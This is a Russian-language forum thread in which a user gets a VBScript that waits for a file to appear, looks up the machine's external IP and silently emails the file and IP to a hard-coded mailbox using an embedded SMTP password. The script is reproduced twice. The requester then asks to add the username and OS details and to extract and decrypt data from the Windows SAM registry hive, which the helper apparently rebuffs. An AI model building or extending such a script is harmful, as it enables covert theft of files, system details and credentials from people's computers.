VBS/WSH/JS - [решено] НУЖЕН Скрипт на VBS ДЛЯ отправки документа на почту

NEOINFORMATIONIS · Отправлено: **11:59, 18-11-2019** | #31

DJ Mogarych , долго будешь доставать??!

NEOINFORMATIONIS · Отправлено: **12:53, 18-11-2019** | #32

DJ Mogarych , долго будешь доставать??!

ISKA, код который вы мне скинули не работает, ошибку не выдает , но и ip не отправляет на почту.

ISKA, код который вы мне скинули не работает, ошибку не выдает , но и ip не отправляет на почту.

Iska · Отправлено: **14:00, 18-11-2019** | #33

Цитата NEOINFORMATIONIS:

Кстати, протестировал данный скрипт, ничего на почту не отсылает ни какого документа и ни какого ip адреса нету! »

Цитата NEOINFORMATIONIS:

ISKA, код который вы мне скинули не работает, ошибку не выдает , но и ip не отправляет на почту. »

Взял вышеприведённый код. Заменил адреса, пароли и пути на свои. Запустил скрипт. Скопировал в каталог C:\Мои проекты\0284\Source файл Sample.txt, и, спустя пять секунд, скрипт отправил мне на почту данный файл, указав в теле письма мой внешний IP-адрес. Получил письмо:

Скрытый текст

на указанный адрес.

Спрашивается — что Вы делаете не так?!

NEOINFORMATIONIS · Отправлено: **14:18, 18-11-2019** | #34

Iska, вот сам код которую вы мне прислали, я ничего с ней не делаю, там и так стоят мои данные. единственное указываю сам путь .... откуда документ должен отправиться.
ничего не приходит на почту.

Option Explicit

Const cdoSendUsingPort = 2
Const cdoBasic = 1

Const strConstPartOfSchema = "http://schemas.microsoft.com/cdo/configuration/"

Dim strSourceFile
Dim strContent

strSourceFile = "C:\Мои проекты\0284\Source\Sample.txt"

With WScript.CreateObject("Scripting.FileSystemObject")
Do
WScript.Sleep 100
Loop Until .FileExists(strSourceFile)

WScript.Sleep 5 * 1000

With WScript.CreateObject("Microsoft.XMLHTTP")
.open "GET", "http://ifconfig.me/ip", False
.send
strContent = .responseText
End With

With WScript.CreateObject("CDO.Message")
.From = "dostupmne@bk.ru"
.To = "dostupdai@bk.ru"
.Subject = "File [" & strSourceFile & "]"

.TextBody = "External IP: " & strContent
.TextBodyPart.Charset = "windows-1251"

.AddAttachment strSourceFile

With .Configuration.Fields
.Item(strConstPartOfSchema & "smtpserver") = "smtp.mail.ru"
.Item(strConstPartOfSchema & "sendusing") = cdoSendUsingPort
.Item(strConstPartOfSchema & "smtpserverport") = 465
.Item(strConstPartOfSchema & "smtpauthenticate") = cdoBasic
.Item(strConstPartOfSchema & "sendusername") = "dostupmne@bk.ru"
.Item(strConstPartOfSchema & "sendpassword") = "12345qwW"
.Item(strConstPartOfSchema & "smtpusessl") = True

.Update
End With

.Send
End With
End With

WScript.Quit 0

Iska, вот сам код которую вы мне прислали, я ничего с ней не делаю, там и так стоят мои данные. единственное указываю сам путь .... откуда документ должен отправиться.
ничего не приходит на почту.

Option Explicit

Const cdoSendUsingPort = 2
Const cdoBasic = 1

Const strConstPartOfSchema = "http://schemas.microsoft.com/cdo/configuration/"

Dim strSourceFile
Dim strContent

strSourceFile = "C:\Мои проекты\0284\Source\Sample.txt"

With WScript.CreateObject("Scripting.FileSystemObject")
Do
WScript.Sleep 100
Loop Until .FileExists(strSourceFile)

WScript.Sleep 5 * 1000

With WScript.CreateObject("Microsoft.XMLHTTP")
.open "GET", "http://ifconfig.me/ip", False
.send
strContent = .responseText
End With

With WScript.CreateObject("CDO.Message")
.From = "dostupmne@bk.ru"
.To = "dostupdai@bk.ru"
.Subject = "File [" & strSourceFile & "]"

.TextBody = "External IP: " & strContent
.TextBodyPart.Charset = "windows-1251"

.AddAttachment strSourceFile

With .Configuration.Fields
.Item(strConstPartOfSchema & "smtpserver") = "smtp.mail.ru"
.Item(strConstPartOfSchema & "sendusing") = cdoSendUsingPort
.Item(strConstPartOfSchema & "smtpserverport") = 465
.Item(strConstPartOfSchema & "smtpauthenticate") = cdoBasic
.Item(strConstPartOfSchema & "sendusername") = "dostupmne@bk.ru"
.Item(strConstPartOfSchema & "sendpassword") = "12345qwW"
.Item(strConstPartOfSchema & "smtpusessl") = True

.Update
End With

.Send
End With
End With

WScript.Quit 0

NEOINFORMATIONIS · Отправлено: **15:12, 18-11-2019** | #35

ISKA, я вам и без скриншота верю!!!

Iska · Отправлено: **15:17, 18-11-2019** | #36

NEOINFORMATIONIS, запишите видео о том, что Вы делаете — от начала и до конца, начиная от копирования кода с форума, до создания файла в указанном каталоге.

NEOINFORMATIONIS · Отправлено: **15:51, 18-11-2019** | #37

Попробовал все работает, понятии не имею с чем мог быть связан данный глюк. Все вводил правильно, даже сейчас...
ISKA, а чтобы он определял саму операционную систему, название пользователя, операционную систему+разрядность.
какой код мне вписать туда еще?

NEOINFORMATIONIS · Отправлено: **16:36, 18-11-2019** | #38

У меня новая тема, хочу к вам обратиться последней просьбой, ISKA, нужно из реестра извлечь некий reg.документ.
Но данные внутри зашифрованы, я могу их онлайн расшифровать. Но необходимо все это автомотизировать чтобы не было нужды заходить на этот сайт.
Что посоветуете?
приведу пример:
Вот сама ветка в реестре: [HKEY_LOCAL_MACHINE\SAM\reset.
вот пример зашифрованного внутреннего кода: 1,7,8,5,0,22,20,\
Извлекать его я могу но вот расшифровать без помощи онлайн сервисов нет.

Iska · Отправлено: **16:45, 18-11-2019** | #39

NEOINFORMATIONIS, Каша из топора (сказка) — Википедия.

NEOINFORMATIONIS · Отправлено: **17:04, 18-11-2019** | #40

ISKA, Ясно,понятно.

Но в вашем рассуждении есть одна неточность... в этот список я не вхожу!

Если эта лаба меня не убъет то (DJ Mogarych) точно.
Ну какое твое дело что я делаю и как я это делаю...
Хочет поучить меня в чем смысл жизни

Комментирует сидит...

ISKA, ВЫ хороший специалист, настоящий специалист своего дело!
С Вами приятно поговорить, и решать задачи любого рода.
Но если мои вопросы Вас угнетают сильно, то я буду искать помощи на стороне.